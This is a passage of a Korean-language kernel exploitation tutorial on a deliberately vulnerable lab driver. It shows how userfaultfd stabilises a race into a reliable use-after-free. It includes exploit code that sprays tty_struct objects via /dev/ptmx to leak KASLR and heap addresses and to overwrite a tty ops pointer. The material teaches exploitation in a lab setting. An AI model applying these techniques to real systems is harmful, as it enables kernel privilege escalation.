거의 대부분 한쪽밖에 통과하지 않는 조건 분기(보안 체크나 메모리 부족 확인) 등에서, 어느 쪽 분기로 통하기 쉬운지를 컴파일러에게 알려줄 수 있습니다. 올바른 예측으로 likely, unlikely 매크로를 사용하면, 몇 번이나 통과하는 조건 분기에서는 실행 속도 향상으로 이어집니다.
컴파일러에게 힌트를 주면, 자주 통과하는 경로일수록 명령어 수나 분기 횟수를 줄여줘.
이 부분의 이야기는 CPU의 분기 예측과도 관련되니까, 궁금한 사람은 조사해 봐.
다음으로, 7번째 줄에 INIT_LIST_HEAD라는 매크로가 등장하고 있습니다. 이것은 tty_struct 등에서 등장한 양방향 리스트의 list_head 구조체를 초기화하기 위한 매크로입니다. 각 파일 open에 대해 양방향 리스트를 만들기 위해 private_data에 이 구조체를 넣고 있습니다.
이 리스트는 blob_list 구조체로 연결됩니다.
switch (cmd) { case CMD_ADD: return blob_add(top, &req); case CMD_DEL: return blob_del(top, &req); case CMD_GET: return blob_get(top, &req); case CMD_SET: return blob_set(top, &req); default: return -EINVAL; } }
CMD_ADD는 리스트에 blob_list를 추가합니다. 각 blob_list는 0x1000 바이트 이하의 데이터를 가지며, 내용은 임의로 설정할 수 있습니다. 또한, 추가 시에 무작위로 ID가 할당되어, ioctl의 반환값으로서 사용자 측이 받을 수 있습니다. 사용자는 이후 그 ID를 사용해, 그 blob_list를 조작할 수 있습니다. CMD_DEL은 ID를 전달함으로써 해당하는 blob_list를 리스트에서 파기할 수 있습니다. CMD_GET은 ID와 버퍼 및 크기를 지정해서, 해당하는 blob_list의 데이터를 사용자 공간에 복사합니다.
마지막으로 CMD_SET은, ID와 버퍼 및 크기를 지정해서, 해당하는 blob_list에 사용자 공간에서 데이터를 복사합니다.
지금까지의 모듈과 마찬가지로 데이터를 저장할 수 있는 기능이지만, Fleckvieh에서는 리스트로 데이터를 관리하고 있어, 여러 개의 데이터를 저장할 수 있게 되어 있습니다.
취약점 확인
LK01을 모두 공부한 분이라면 취약점은 일목요연할 것입니다. 어느 처리에도 락이 걸려있지 않기 때문에, 간단하게 데이터 경쟁이 발생합니다. 하지만, 이 경쟁을 exploit 하려고 하면 문제가 발생합니다.
데이터를 양방향 리스트라는 복잡한 구조로 관리하고 있기 때문에, 삭제하는 타이밍에 데이터를 읽고 쓰려고 해도, unlink 타이밍에 쓰려고 할 가능성이 있어, 링크나 커널 힙의 상태가 파괴되어 버립니다. 그러면 race 중에 크래시 하거나, Use-after-Free가 되었는지를 판정할 수 없거나 해서 곤란합니다.
실제로 race를 작성해서 확인해 봅시다.
int id; for (int i = 0; i < 0x1000; i++) { id = add("Hello", 6); del(id); } race_win = 1; pthread_join(th, NULL);
close(fd); return0; }
이 코드에서는 여러 스레드에서 데이터의 추가와 삭제를 반복합니다. 경쟁이 발생하면 양방향 리스트의 링크가 깨지기 때문에, 마지막 close에서 리스트의 내용을 해제할 때 크래시 합니다.
이처럼 복잡한 데이터 구조에서의 경쟁은 exploit 할 수 없는 것일까요?
userfaultfd란
이번처럼 복잡한 조건의 경쟁을 exploit 하거나, 경쟁의 성공 확률을 100%로 만들기 위해, userfaultfd라는 기능을 악용한 공격 방법이 있습니다.
CONFIG_USERFAULTFD를 붙여서 Linux를 빌드 하면, userfaultfd라는 기능을 사용할 수 있게 됩니다. userfaultfd는 사용자 공간에서 페이지 부재(Page Fault)를 처리하기 위한 기능으로, 시스템 호출로서 구현되어 있습니다.
CAP_SYS_PTRACE를 가지고 있지 않은 사용자가 userfaultfd를 모든 권한으로 사용하기 위해서는 unprivileged_userfaultfd 플래그가 1로 되어 있어야 합니다. 이 플래그는 /proc/sys/vm/unprivileged_userfaultfd에서 설정·확인할 수 있으며, 기본값은 0으로 되어 있지만, LK04 머신에서는 1로 되어 있는 것을 확인할 수 있습니다.
사용자는 userfaultfd 시스템 호출로 파일 디스크립터를 받아, 거기에 핸들러나 주소 등의 설정을 ioctl로 적용합니다. userfaultfd를 설정한 페이지에서 페이지 부재가 일어난 경우(첫 접근 시), 설정한 핸들러가 호출되어, 사용자 측에서 어떤 데이터(맵)를 반환할지를 지정할 수 있습니다. 그림으로 나타내면 다음과 같은 순서로 처리가 발생합니다.
페이지 부재가 발생하면 등록한 사용자 공간의 핸들러가 호출되기 때문에, 페이지를 읽으려고 한 스레드 1은, 스레드 2의 핸들러가 데이터를 반환할 때까지 블록 합니다. 이는 커널 공간에서의 페이지 읽기/쓰기에서도 마찬가지이기 때문에, 읽기/쓰기 타이밍에 커널 공간의 처리를 정지시킬 수 있습니다.
이 코드에서는 register_uffd에 페이지 주소와 userfaultfd를 설정할 크기를 전달합니다. register_uffd는 페이지 부재를 처리하는 스레드 fault_handler_thread를 생성합니다.
페이지 부재가 발생하면 fault_handler_thread 안의 read에서 이벤트를 취득하고, 데이터를 반환합니다. 위 샘플 프로그램에서는 몇 번째 페이지 부재인지에 따라 반환하는 데이터를 변경하고 있습니다.
main 함수에서는 2페이지 분량의 영역을 확보[1]하고, 그것에 대해 userfaultfd를 설정하고 있습니다. 처음 2개의 strcpy[2]에서는 첫 접근에 의해 페이지 부재가 발생하므로, userfaultfd 핸들러가 발동합니다. 다음과 같이, 처음 2회에서 핸들러가 호출되고, 핸들러에서 반환한 데이터가 반영되어 있다면 성공입니다.
userfaultfd 핸들러는 다른 스레드에서 동작하니까, 메인 스레드와 다른 CPU에서 동작할 가능성이 있어.
핸들러 내에서 객체를 할당할 때, CPU마다 캐시 된 힙 영역이 사용되면 UAF가 실패해 버리니까, sched_setaffinity 함수로 CPU를 고정하도록 주의해.
Race의 안정화
실제로 userfaultfd를 exploit에 이용해 봅시다.
userfaultfd를 사용함으로써 페이지 부재 타이밍에 커널 공간(드라이버 안의 처리)에서 사용자 공간으로 컨텍스트를 전환할 수 있습니다. 페이지 부재가 일어나는 것은 설정한 사용자 공간의 페이지를 처음 읽고 쓰려고 할 때이므로, 이번 드라이버에서는 copy_from_user나 copy_to_user 부분에서 처리를 일시 정지할 수 있습니다. 나열해 보면 다음 부분에서 처리를 멈출 수 있음을 알 수 있습니다.
blob_add의 copy_from_user
blob_get의 copy_to_user
blob_set의 copy_from_user
Use-after-Free가 목적이므로, 위와 같은 함수에서 처리를 멈추고 있는 사이에 데이터를 blob_del로 삭제할 수 있습니다. blob_get 중에 삭제하면 UAF Read가, blob_set 중에 삭제하면 UAF Write가 실현됩니다. tty_struct 등을 Use-after-Free로 읽고 써 봅시다.
그림으로 흐름을 나타내면 다음과 같이 됩니다.
tty_struct와 같은 사이즈 대역(kmalloc-1024)에서 확보한 버퍼 victim에 대해 blob_get을 호출합니다. 이때 userfaultfd를 설정한 주소를 전달하면, blob_get 안의 copy_to_user에서 페이지 부재가 발생하여 핸들러가 호출됩니다. 배타 제어를 하지 않고 있으므로 핸들러 안에서 blob_del을 호출할 수 있고, 그 결과 victim은 해제됩니다.
게다가, tty_struct를 spray 하면 방금 해제한 victim 영역에 tty 객체가 할당됩니다. 이제 핸들러에서 적당한 버퍼를 전달하고 복귀하면 copy_to_user로 victim 주소에서 데이터가 복사되므로, 사용자 공간에 tty 객체가 복사됩니다.
같은 원리로 blob_set을 호출하면 UAF에 의한 객체 변조도 가능합니다. 코드를 작성해서 UAF를 확인해 봅시다.
while (poll(&pollfd, 1, -1) > 0) { if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) fatal("poll");
/* 페이지 부재 대기 */ if (read(uffd, &msg, sizeof(msg)) <= 0) fatal("read(uffd)"); assert (msg.event == UFFD_EVENT_PAGEFAULT);
/* 요구된 페이지로서 반환할 데이터를 설정 */ switch (fault_cnt++) { case0: { puts("[+] UAF read"); /* [1-2] `blob_get`에 의한 페이지 부재 */ // victim을 해제 del(victim);
// tty_struct를 스플레이 하고, victim의 장소에 덮어씌움 int fds[0x10]; for (int i = 0; i < 0x10; i++) { fds[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (fds[i] == -1) fatal("/dev/ptmx"); }
// 이 페이지의 데이터를 가지는 버퍼 (copy_to_user로 덮어쓰기 되므로 적당히) copy.src = (unsignedlong)buf; break; }
case1: /* [2-2] `blob_set`에 의한 페이지 부재 */ // victim을 해제 break; }
/* [1-1] UAF Read: tty_struct의 유출 */ get(victim, page, 0x400); for (int i = 0; i < 0x80; i += 8) { printf("%02x: 0x%016lx\n", i, *(unsignedlong*)(page + i)); }
return0; }
코드는 길지만, 하고 있는 것은 앞서 그림에 쓴 대로입니다. 100% 확률로 Use-after-Free가 성공하는 것을 확인할 수 있습니다.
위 그림의 유출된 데이터를 보면 눈치챌지도 모르지만, tty_struct의 선두 데이터가 복사되지 않았습니다. (원래 tty_operation 등이 있지만, 처음 0x30 바이트 정도는 모두 0이 되어 있습니다.)
이것은 copy_to_user를 큰 사이즈로 호출한 것이 원인입니다. copy_to_user는 victim 영역에서 데이터를 복사하지만, 선두부터 복사하려고 시도합니다. victim의 선두 쪽을 읽어 들이면, 다음으로 그 데이터를 수신처에 복사하려고 합니다. 여기서 처음으로 페이지 부재가 발생하므로, 앞쪽 바이트 열은 UAF가 발생하기 전의 것이 됩니다.
다행히도 copy_to_user는 복사 크기에 따라, 복사의 각 루프 반복에서 얼마만큼 크기의 데이터를 복사할지(레지스터에 저장할지)가 달라집니다. 따라서 예를 들어 0x20과 같은 작은 크기로 copy_to_user를 호출하면, 처음 0x10 바이트만이 UAF 전의 데이터가 되고, tty_operations 포인터를 포함한 나머지 0x10 바이트는 UAF 후의 것이 복사됩니다.
어셈블리 레벨에서 언제 페이지 부재가 일어나는지를 파악하고 있지 않으면, 디버깅이 힘들겠네.
KASLR와 힙 주소의 유출이 가능해지면, 마찬가지로 UAF Write를 만듭니다.
이번에도 평소대로 가짜 tty_struct의 ops를 가짜 함수 테이블로 향하게 하지만, 이번에 UAF가 발생하는 주소는 지난번 유출한 장소와 다를 가능성이 있다는 점에 주의하세요. 유출한 힙 주소는 close로 해제한 tty_struct의 장소이므로, 먼저 가짜 tty_operation을 spray 하도록 합시다. (이번에는 tty_operation과 tty_struct를 겸용합니다.)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
case2: { puts("[+] UAF write"); /* [3-2] `blob_set`에 의한 페이지 부재 */ // 가짜 tty_operation을 spray (유출한 kheap에 덮어씌움) for (int i = 0; i < 0x100; i++) { add(buf, 0x400); }
이번에는 Race를 안정화시키는 목적으로만 userfaultfd를 사용했습니다.
한편, 페이지에 걸쳐 데이터를 배치하면, 구조체의 특정 멤버를 읽고 쓸 때 처리를 멈출 수 있습니다.
이 기법을 이용해서 exploit 할 수 있는 상황에 대해 고찰해 봅시다.
첫 접근 시에 페이지 부재를 발생시키고 싶으므로 MAP_POPULATE를 붙이지 않았습니다. ↩︎
직접 printf 하면, printf 함수 내에서 폴트가 발생해서 핸들러 안의 puts나 printf와 버퍼링 교착 상태(deadlock)가 발생하여 프로그램이 정지하므로 주의합시다. 커널 exploit 문맥에서는, 커널 공간에서 폴트를 발생시키므로 신경 쓸 필요는 없습니다. ↩︎